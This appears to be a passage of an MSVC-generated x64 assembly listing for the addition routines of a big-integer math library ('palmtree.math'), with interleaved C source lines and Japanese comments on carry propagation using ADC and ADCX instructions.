; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3204 : c = _ADD_UNIT(c, xp[3], yp[3], &zp[3]);
mov rax, QWORD PTR [r10+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+24]
mov QWORD PTR [r9+24], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3205 : c = _ADD_UNIT(c, xp[4], yp[4], &zp[4]);
mov rax, QWORD PTR [r10+32]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+32]
mov QWORD PTR [r9+32], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3206 : c = _ADD_UNIT(c, xp[5], yp[5], &zp[5]);
mov rax, QWORD PTR [r10+40]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+40]
mov QWORD PTR [r9+40], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3207 : c = _ADD_UNIT(c, xp[6], yp[6], &zp[6]);
mov rax, QWORD PTR [r10+48]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+48]
mov QWORD PTR [r9+48], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3208 : c = _ADD_UNIT(c, xp[7], yp[7], &zp[7]);
mov rax, QWORD PTR [r10+56]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+56]
mov QWORD PTR [r9+56], rax
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 189 : up += 8;
add r10, 64 ; 00000040H
; 190 : vp += 8;
add r8, 64 ; 00000040H
; 191 : wp += 8;
add r9, 64 ; 00000040H
$LN6@Add_Imp_us:
; 192 : }
; 193 : // この時点で未処理の桁は 8 ワード未満のはず
; 194 :
; 195 : // 未処理の桁が 4 ワード以上あるなら 4 ワード加算を行う。
; 196 : if (v_count & 0x4)
test r11b, 4
je SHORT $LN7@Add_Imp_us
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3881 : c = _ADD_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [r10]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add cl, -1
adc rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3882 : c = _ADD_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [r10+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3883 : c = _ADD_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [r10+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3884 : c = _ADD_UNIT(c, xp[3], yp[3], &zp[3]);
mov rax, QWORD PTR [r10+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+24]
mov QWORD PTR [r9+24], rax
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 199 : up += 4;
add r10, 32 ; 00000020H
; 200 : vp += 4;
add r8, 32 ; 00000020H
; 201 : wp += 4;
add r9, 32 ; 00000020H
$LN7@Add_Imp_us:
; 202 : }
; 203 : // この時点で未処理の桁は 4 ワード未満のはず
; 204 :
; 205 : // 未処理の桁が 2 ワード以上あるなら 2 ワード加算を行う。
; 206 : if (v_count & 0x2)
test r11b, 2
je SHORT $LN8@Add_Imp_us
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 4337 : c = _ADD_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [r10]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add cl, -1
adc rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 4338 : c = _ADD_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [r10+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rax
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 209 : up += 2;
add r10, 16
; 210 : vp += 2;
add r8, 16
; 211 : wp += 2;
add r9, 16
$LN8@Add_Imp_us:
; 212 : }
; 213 : // この時点で未処理の桁は 2 ワード未満のはず
; 214 :
; 215 : // 未処理の桁が 1 ワード以上あるなら 1 ワード加算を行う。
; 216 : if (v_count & 0x1)
test r11b, 1
je SHORT $LN9@Add_Imp_us
; 217 : c = _ADD_UNIT(c, *up++, *vp++, wp++);
mov rax, QWORD PTR [r10]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add cl, -1
adc rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 217 : c = _ADD_UNIT(c, *up++, *vp++, wp++);
add r10, 8
add r9, 8
$LN9@Add_Imp_us:
; 218 :
; 219 : // 残りの桁の繰り上がりを計算し、復帰する。
; 220 : return (DoCarry(c, up, u_count - v_count, wp, w_count - v_count));
mov rax, QWORD PTR w_count$[rsp]
sub rbx, r11
sub rax, r11
mov r8, rbx
mov rdx, r10
mov QWORD PTR w_buf$[rsp], rax
; 221 : }
mov rbx, QWORD PTR [rsp+64]
add rsp, 48 ; 00000030H
pop rdi
; 218 :
; 219 : // 残りの桁の繰り上がりを計算し、復帰する。
; 220 : return (DoCarry(c, up, u_count - v_count, wp, w_count - v_count));
jmp DoCarry
Add_Imp_using_ADC ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT Add_X_2W
_TEXT SEGMENT
u_buf$ = 8
u_count$ = 16
v_hi$ = 24
v_lo$ = 32
w_buf$ = 40
w_count$ = 48
Add_X_2W PROC ; COMDAT
; 107 : __UNIT_TYPE* up = u_buf;
; 108 : __UNIT_TYPE* wp = w_buf;
mov rax, QWORD PTR [rcx]
mov r11, rdx
mov r10, r9
mov r9, QWORD PTR w_buf$[rsp]
mov rdx, rcx
; 109 : char c;
; 110 :
; 111 : if (u_count < 2)
cmp r11, 2
jae SHORT $LN2@Add_X_2W
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add rax, r10
mov QWORD PTR [r9], rax
adc r8, 0
mov QWORD PTR [r9+8], r8
setb al
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 122 : if (c)
test al, al
je SHORT $LN4@Add_X_2W
; 123 : wp[2] = 1;
mov QWORD PTR [r9+16], 1
$LN4@Add_X_2W:
; 124 :
; 125 : // 正常復帰する。
; 126 : return (PMC_STATUS_OK);
xor eax, eax
; 142 : }
; 143 : }
ret 0
$LN2@Add_X_2W:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add rax, r10
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 136 : c = _ADD_UNIT(c, *up++, v_hi, wp++);
mov rax, QWORD PTR [rcx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, r8
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 137 : u_count -= 2;
lea r8, QWORD PTR [r11-2]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 138 : w_count -= 2;
mov rax, QWORD PTR w_count$[rsp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 138 : w_count -= 2;
add rax, -2
add r9, 16
add rdx, 16
; 139 :
; 140 : // 残りの桁の繰り上がりを計算し、復帰する。
; 141 : return (DoCarry(c, up, u_count, wp, w_count));
mov QWORD PTR w_buf$[rsp], rax
jmp DoCarry
Add_X_2W ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT Add_X_1W
_TEXT SEGMENT
u_ptr$ = 8
u_count$ = 16
v$ = 24
w_ptr$ = 32
w_count$ = 40
Add_X_1W PROC ; COMDAT
; 94 : char c;
; 95 :
; 96 : // 最下桁の加算を行う
; 97 : c = _ADD_UNIT(0, *u_ptr++, v, w_ptr++);
mov rax, QWORD PTR [rcx]
mov r10, rcx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add rax, r8
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 98 : --u_count;
lea r8, QWORD PTR [rdx-1]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 99 : --w_count;
mov rax, QWORD PTR w_count$[rsp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 99 : --w_count;
dec rax
lea rdx, QWORD PTR [r10+8]
add r9, 8
; 100 :
; 101 : // 残りの桁の繰上りを行い復帰する。
; 102 : return (DoCarry(c, u_ptr, u_count, w_ptr, w_count));
mov QWORD PTR w_count$[rsp], rax
jmp DoCarry
Add_X_1W ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT DoCarry
_TEXT SEGMENT
c$ = 8
u_ptr$ = 16
u_count$ = 24
w_ptr$ = 32
w_count$ = 40
DoCarry PROC ; COMDAT
; 42 : // 繰り上がりを続く限り行う
; 43 : for (;;)
; 44 : {
; 45 : if (u_count <= 0)
mov r10, QWORD PTR w_count$[rsp]
test r8, r8
je SHORT $LN18@DoCarry
npad 6
$LL2@DoCarry:
; 60 : }
; 61 :
; 62 : // u の最上位に達してしまった場合はいずれにしろループを中断して正常復帰する。
; 63 :
; 64 : return (PMC_STATUS_OK);
; 65 : }
; 66 : else if (c)
test cl, cl
je SHORT $LN17@DoCarry
; 71 : c = _ADD_UNIT(c, *u_ptr++, 0, w_ptr++);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add cl, -1
adc rax, 0
mov QWORD PTR [r9], rax
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 71 : c = _ADD_UNIT(c, *u_ptr++, 0, w_ptr++);
add rdx, 8
add r9, 8
; 72 : --u_count;
; 73 : --w_count;
dec r10
sub r8, 1
jne SHORT $LL2@DoCarry
$LN18@DoCarry:
; 46 : {
; 47 : // u の最上位まで達してしまった場合
; 48 :
; 49 : if (c)
test cl, cl
je SHORT $LN6@DoCarry
; 50 : {
; 51 : // かつそれでも繰り上がりを行う必要がある場合
; 52 : if (w_count <= 0)
test r10, r10
jne SHORT $LN10@DoCarry
; 53 : {
; 54 : // しかし w がもう終端に達してしまった場合
; 55 :
; 56 : // w のバッファはこの余裕を見込んでいるのでこのルートには到達しないはず。
; 57 : return (PMC_STATUS_INTERNAL_ERROR);
mov eax, -256 ; ffffffffffffff00H
; 87 : }
; 88 : }
; 89 : }
ret 0
$LN17@DoCarry:
; 74 : }
; 75 : else
; 76 : {
; 77 : // u の最上位に達しておらず、かつキャリーが立っていない場合
; 78 :
; 79 : // 繰り上がりを中断し、u の残りのデータをzにそのまま複写し、正常復帰する。
; 80 : while (u_count > 0)
test r8, r8
je SHORT $LN6@DoCarry
sub rdx, r9
npad 4
$LL5@DoCarry:
; 81 : {
; 82 : *w_ptr++ = *u_ptr++;
mov rax, QWORD PTR [rdx+r9]
mov QWORD PTR [r9], rax
lea r9, QWORD PTR [r9+8]
; 83 : --u_count;
sub r8, 1
jne SHORT $LL5@DoCarry
; 84 : --w_count;
; 85 : }
; 86 : return (PMC_STATUS_OK);
xor eax, eax
; 87 : }
; 88 : }
; 89 : }
ret 0
$LN10@DoCarry:
; 58 : }
; 59 : *w_ptr = 1;
mov QWORD PTR [r9], 1
$LN6@DoCarry:
; 84 : --w_count;
; 85 : }
; 86 : return (PMC_STATUS_OK);
xor eax, eax
; 87 : }
; 88 : }
; 89 : }
ret 0
DoCarry ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; COMDAT _ADD_2WORDS_ADCX
_TEXT SEGMENT
c$ = 8
xp$ = 16
yp$ = 24
zp$ = 32
_ADD_2WORDS_ADCX PROC ; COMDAT
; 4379 : #ifdef _MSC_VER
; 4380 : c = _ADDX_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
add cl, -1
adcx rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 4381 : c = _ADDX_UNIT(c, xp[1], yp[1], &zp[1]);
mov rcx, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rcx, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rcx
setb al
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 4418 : }
ret 0
_ADD_2WORDS_ADCX ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; COMDAT _ADD_2WORDS_ADC
_TEXT SEGMENT
c$ = 8
xp$ = 16
yp$ = 24
zp$ = 32
_ADD_2WORDS_ADC PROC ; COMDAT
; 4336 : #ifdef _MSC_VER
; 4337 : c = _ADD_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add cl, -1
adc rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 4338 : c = _ADD_UNIT(c, xp[1], yp[1], &zp[1]);
mov rcx, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rcx, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rcx
setb al
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 4375 : }
ret 0
_ADD_2WORDS_ADC ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; COMDAT _ADD_4WORDS_ADCX
_TEXT SEGMENT
c$ = 8
xp$ = 16
yp$ = 24
zp$ = 32
_ADD_4WORDS_ADCX PROC ; COMDAT
; 3937 : #ifdef _MSC_VER
; 3938 : c = _ADDX_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
add cl, -1
adcx rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3939 : c = _ADDX_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3940 : c = _ADDX_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [rdx+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3941 : c = _ADDX_UNIT(c, xp[3], yp[3], &zp[3]);
mov rcx, QWORD PTR [rdx+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rcx, QWORD PTR [r8+24]
mov QWORD PTR [r9+24], rcx
setb al
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3990 : }
ret 0
_ADD_4WORDS_ADCX ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; COMDAT _ADD_4WORDS_ADC
_TEXT SEGMENT
c$ = 8
xp$ = 16
yp$ = 24
zp$ = 32
_ADD_4WORDS_ADC PROC ; COMDAT
; 3880 : #ifdef _MSC_VER
; 3881 : c = _ADD_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add cl, -1
adc rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3882 : c = _ADD_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3883 : c = _ADD_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [rdx+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3884 : c = _ADD_UNIT(c, xp[3], yp[3], &zp[3]);
mov rcx, QWORD PTR [rdx+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rcx, QWORD PTR [r8+24]
mov QWORD PTR [r9+24], rcx
setb al
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3933 : }
ret 0
_ADD_4WORDS_ADC ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
